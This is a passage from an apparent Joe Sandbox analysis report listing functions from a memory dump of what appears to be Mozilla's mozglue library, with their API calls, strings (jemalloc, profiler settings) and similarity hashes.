memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C6BBE49), ref: 6C6BBF38
RtlReAllocateHeap.NTDLL ref: 6C6BBF83
RtlFreeHeap.NTDLL(6C6BBE49,00000000), ref: 6C6BBFA6

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: aa7aa61b06619e0ee9a99d85cb4b4e8ec3ed49fbb90f089a08a381adfc3eb9a2
Instruction ID: 41be5e43559ec2933148f037eb97a796bf2ada86dae306781c2001eb55ed4b4d
Opcode Fuzzy Hash: aa7aa61b06619e0ee9a99d85cb4b4e8ec3ed49fbb90f089a08a381adfc3eb9a2
Instruction Fuzzy Hash: 62517D71B002058FE714CF69CDC0BAAB7A6FFC9314F294629D516A7B94D730F9168B84

Function 6C6A8E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C69B58D,?,?,?,?,?,?,?,6C6CD734,?,?,?,6C6CD734), ref: 6C6A8E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C69B58D,?,?,?,?,?,?,?,6C6CD734,?,?,?,6C6CD734), ref: 6C6A8EBF
free.MOZGLUE(?,?,?,?,6C69B58D,?,?,?,?,?,?,?,6C6CD734,?,?,?), ref: 6C6A8F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C69B58D,?,?,?,?,?,?,?,6C6CD734,?,?,?,6C6CD734), ref: 6C6A8F46
free.MOZGLUE(?,?,?,?,6C69B58D,?,?,?,?,?,?,?,6C6CD734,?,?,?), ref: 6C6A8F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C69B58D,?,?,?,?,?,?,?,6C6CD734,?,?,?), ref: 6C6A8F8F

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 2d5529b490a9ed527ba4d6f3c07105a9ef5ca3ad7d3b13a1296e15702832f637
Instruction ID: 5c8095c7e4d8c3f82490520348ed4036927259d6491a6e53044fc4a20779ecf9
Opcode Fuzzy Hash: 2d5529b490a9ed527ba4d6f3c07105a9ef5ca3ad7d3b13a1296e15702832f637
Instruction Fuzzy Hash: 8251C2B1A012568FEB10CFA4D88066EB7B2FF4D348F15046AD916AB750E731FD06CB99

Function 6C654DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C654E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C654E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C654EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C654F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C654F1E

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 52175f95d4ea3090ad09e7d1fb6a04a335b1bba66f3e2ef145f8db46a4b08874
Instruction ID: fa9019ae94530c368e15ab28f76c0ca6e05641a3aa38c6ac439540feb09e902e
Opcode Fuzzy Hash: 52175f95d4ea3090ad09e7d1fb6a04a335b1bba66f3e2ef145f8db46a4b08874
Instruction Fuzzy Hash: 8C41F0716087019FC701CF29C8809ABB7E4BF8A344F608A5DF56687640DBB1E935CB85

Function 6C661530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C66159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C6615BC
moz_xmalloc.MOZGLUE(-00000001,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C6615E7
free.MOZGLUE(?,?,?,?,?,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C661606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C661637

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 60c595e13ce2a9c8a199b3a496b84ba9900cf50bf30422973b7d5e0842e1335b
Instruction ID: d01c86a85d46c23a7c691215a81a34074b03034866677b6b18a6f6f243d40b0c
Opcode Fuzzy Hash: 60c595e13ce2a9c8a199b3a496b84ba9900cf50bf30422973b7d5e0842e1335b
Instruction Fuzzy Hash: 9C31EAB1A001149BCB148E7DD8514AEB7A5FB823647240B2DE423DBFD4EB30D915879B

Function 6C6BAD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BAD9D

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BAE01
GetLastError.KERNEL32(?,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BAE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BAE3D

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: 0f21de2af0562fbe7cdfc5f35f1760c945e4117e18b0c4ae4a851e01653c96bd
Instruction ID: 4eb5dd445afc357e947c968c0e77c1b944aa70b059dce956206679de5e0986f5
Opcode Fuzzy Hash: 0f21de2af0562fbe7cdfc5f35f1760c945e4117e18b0c4ae4a851e01653c96bd
Instruction Fuzzy Hash: FB3164B1A002159FDB10DF7A8C44AABB7F8EF49714F15482DE94AE7700E734E815CBA9

Function 6C6B5EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C6CDCA0,?,?,?,6C68E8B5,00000000), ref: 6C6B5F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C68E8B5,00000000), ref: 6C6B5F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C68E8B5,00000000), ref: 6C6B5F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C68E8B5,00000000), ref: 6C6B5F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C68E8B5,00000000), ref: 6C6B5FD6

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: f8ffd130b540d1622dd6cad74810715579423eb43e2eccc40f7330cdc55ac1c6
Instruction ID: f2c025b6eb9ea565baa2df8d15f82c6db1a81c960568f649629a87da775a8372
Opcode Fuzzy Hash: f8ffd130b540d1622dd6cad74810715579423eb43e2eccc40f7330cdc55ac1c6
Instruction Fuzzy Hash: C23106343006008FD711CF2AC898A6AB7FABF89319F648558E5569BB96CB31EC51CF84

Function 6C65B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C65B532
moz_xmalloc.MOZGLUE(?), ref: 6C65B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C65B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C65B57E
free.MOZGLUE(00000000), ref: 6C65B58F

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 4d383c59ac1466ad9845e72a84ae01ba623d94f7e40b200926ea7cdfc1fc98de
Instruction ID: 89d8c58b405f94ff87142cdd8ce363126df9faeab29231e2da6d786d2f4b5cda
Opcode Fuzzy Hash: 4d383c59ac1466ad9845e72a84ae01ba623d94f7e40b200926ea7cdfc1fc98de
Instruction Fuzzy Hash: 3D212971A002059BDB00CF69CC80BAEBBB9FF86304F784129E918DB345E736D921C7A5

Function 6C6B6E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C6B6E78

Part of subcall function 6C6B6A10: InitializeCriticalSection.KERNEL32(6C6DF618), ref: 6C6B6A68
Part of subcall function 6C6B6A10: GetCurrentProcess.KERNEL32 ref: 6C6B6A7D
Part of subcall function 6C6B6A10: GetCurrentProcess.KERNEL32 ref: 6C6B6AA1
Part of subcall function 6C6B6A10: EnterCriticalSection.KERNEL32(6C6DF618), ref: 6C6B6AAE
Part of subcall function 6C6B6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C6B6AE1
Part of subcall function 6C6B6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C6B6B15
Part of subcall function 6C6B6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C6B6B65
Part of subcall function 6C6B6A10: LeaveCriticalSection.KERNEL32(6C6DF618,?,?), ref: 6C6B6B83

MozFormatCodeAddress.MOZGLUE ref: 6C6B6EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C6B6EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C6B6EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C6B6EFF

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 52868295192b0fefc6acc7cb5db6232ecb037373e40537bb9ebe56d2a2dce9ae
Instruction ID: 7a861fe4b3ce47c9d7d0582b0418f171e1b28da3ad38869fc556fbcb7c811e64
Opcode Fuzzy Hash: 52868295192b0fefc6acc7cb5db6232ecb037373e40537bb9ebe56d2a2dce9ae
Instruction Fuzzy Hash: 9F21A471A042199FDF04CF69D8C569E77F9EF89308F044039E809A7241DB70AA59CF96

Function 6C690D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C653DEF), ref: 6C690D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C653DEF), ref: 6C690D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C653DEF), ref: 6C690DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C690D97, 6C690DBE
<jemalloc>, xrefs: 6C690D92, 6C690DB9

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 13bbc51be261d3e61bd704e20e53ec9f8c3ea23577e6d8f8bb17b6e2824cef17
Instruction ID: 9eb333f3b368d62e8b1546ca32396374ec09f74a64d74f8d664fc73b983ace28
Opcode Fuzzy Hash: 13bbc51be261d3e61bd704e20e53ec9f8c3ea23577e6d8f8bb17b6e2824cef17
Instruction Fuzzy Hash: C2F02E3138039623E72016670C0AF6A269EA7C6B35F314035F744DE9C4DA90F80486AE

Function 6C6A7620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C6A75C4,?), ref: 6C6A762B

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C6A74D7,6C6B15FC,?,?,?), ref: 6C6A7644
GetCurrentThreadId.KERNEL32 ref: 6C6A765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C6A74D7,6C6B15FC,?,?,?), ref: 6C6A7663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C6A74D7,6C6B15FC,?,?,?), ref: 6C6A7677

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: ee541756ce323456bcc3d6523245fd4db53dfe164a67086f434006cbe362bdc5
Instruction ID: 6bb646a485ea3ebe2f0a811155d3322491c280c443d3c73ed9b1370723d7e4e5
Opcode Fuzzy Hash: ee541756ce323456bcc3d6523245fd4db53dfe164a67086f434006cbe362bdc5
Instruction Fuzzy Hash: 30F0A471E10786ABD7008F22C888675B778FFEA259F11431AF90543601E7B0B5D18BD5

Function 6C67D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

EnterCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D4F2
LeaveCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D50B

Part of subcall function 6C65CFE0: EnterCriticalSection.KERNEL32(6C6DE784), ref: 6C65CFF6
Part of subcall function 6C65CFE0: LeaveCriticalSection.KERNEL32(6C6DE784), ref: 6C65D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D52E
EnterCriticalSection.KERNEL32(6C6DE7DC), ref: 6C67D690
LeaveCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D751

Strings

MOZ_CRASH(), xrefs: 6C67D4BB

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 4a4597c506335fd374026c37a78a4c4713f739f71224aa12a41bea50c1db6c0a
Instruction ID: 72be7f876658cff6d62bdf5daf5ff4cfa071adc8b61d5b6b6fcdee3ae64f8576
Opcode Fuzzy Hash: 4a4597c506335fd374026c37a78a4c4713f739f71224aa12a41bea50c1db6c0a
Instruction Fuzzy Hash: E651A071A047018FD364CF29C49465AB7F1EF89704F558E2ED59AC7B84D770E840CB6A

Function 6C6A4630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C6A4721

Strings

profiler-paused, xrefs: 6C6A46E4
-%llu, xrefs: 6C6A4733
., xrefs: 6C6A476A

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 7c47c857322daacc010ec0f4dd803b779c30a42292451004a68c6c0cc5d1a5bb
Instruction ID: d9b877f844518185a66eb8317f8e241a0f0eb0060e8744db4597b5dc4e61bef9
Opcode Fuzzy Hash: 7c47c857322daacc010ec0f4dd803b779c30a42292451004a68c6c0cc5d1a5bb
Instruction Fuzzy Hash: 37418971E047089BCB08CFB9D88116EBBF5EF86744F10863DE85957B41EB70E841874A

Function 6C6A46E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C6A4721

Part of subcall function 6C654410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C693EBD,00000017,?,00000000,?,6C693EBD,?,?,6C6542D2), ref: 6C654444

Strings

profiler-paused, xrefs: 6C6A46E4
-%llu, xrefs: 6C6A4733
., xrefs: 6C6A476A

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 26b888f47b694df7ae51fe5d885ae943c1e72917b37d5a576de09379f6fa01ae
Instruction ID: ee623ee0f79995db137349a269ed70c0a4b22cc15c8904805aa0d65b05339753
Opcode Fuzzy Hash: 26b888f47b694df7ae51fe5d885ae943c1e72917b37d5a576de09379f6fa01ae
Instruction Fuzzy Hash: 49312A71F042085BCB08CFADDC812ADBBE6DB89314F55813DE8059BB41EBB0DD058B99

Function 6C6AB410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C654290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C693EBD,6C693EBD,00000000), ref: 6C6542A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C6AB127), ref: 6C6AB463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C6AB4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C6AB4E4

Strings

pid:, xrefs: 6C6AB4DE

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: f2833832c2e09ac9d0fa345bfb691ad62b155d79752d84222e94a571c01022f7
Instruction ID: 08c90ab0690d7f8403227b0f2834ab55f99ceeb46082f2b9e9c56eb2096e64bc
Opcode Fuzzy Hash: f2833832c2e09ac9d0fa345bfb691ad62b155d79752d84222e94a571c01022f7
Instruction Fuzzy Hash: E431E031A0120C9FDB00DFEAD880AEEB7B5FF85318F540529D81267A45D732AD46CBA9

Function 6C69E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C69E577
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69E584
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C69E8A6

Strings

MOZ_PROFILER_STARTUP, xrefs: 6C69E5A1, 6C69E5CC, 6C69E5FF, 6C69E62A
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C69E655
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C69E826, 6C69E850
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C69E777
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C69E722, 6C69E750, 6C69E7A2

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 1eca9647559c815ef8c16a1fd9d354fdd95aa9a5c77d5d2c3967643dee620f54
Instruction ID: 8c3d27a3f7cef48c4ed5c2157a3c3fed9863bba23175123dc71420e2c82529b7
Opcode Fuzzy Hash: 1eca9647559c815ef8c16a1fd9d354fdd95aa9a5c77d5d2c3967643dee620f54
Instruction Fuzzy Hash: 4111AD31A04258DFCB009F16C888B6ABBB4FFC9329F050A19E84587651D774B805CFDE

Function 6C6A0C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

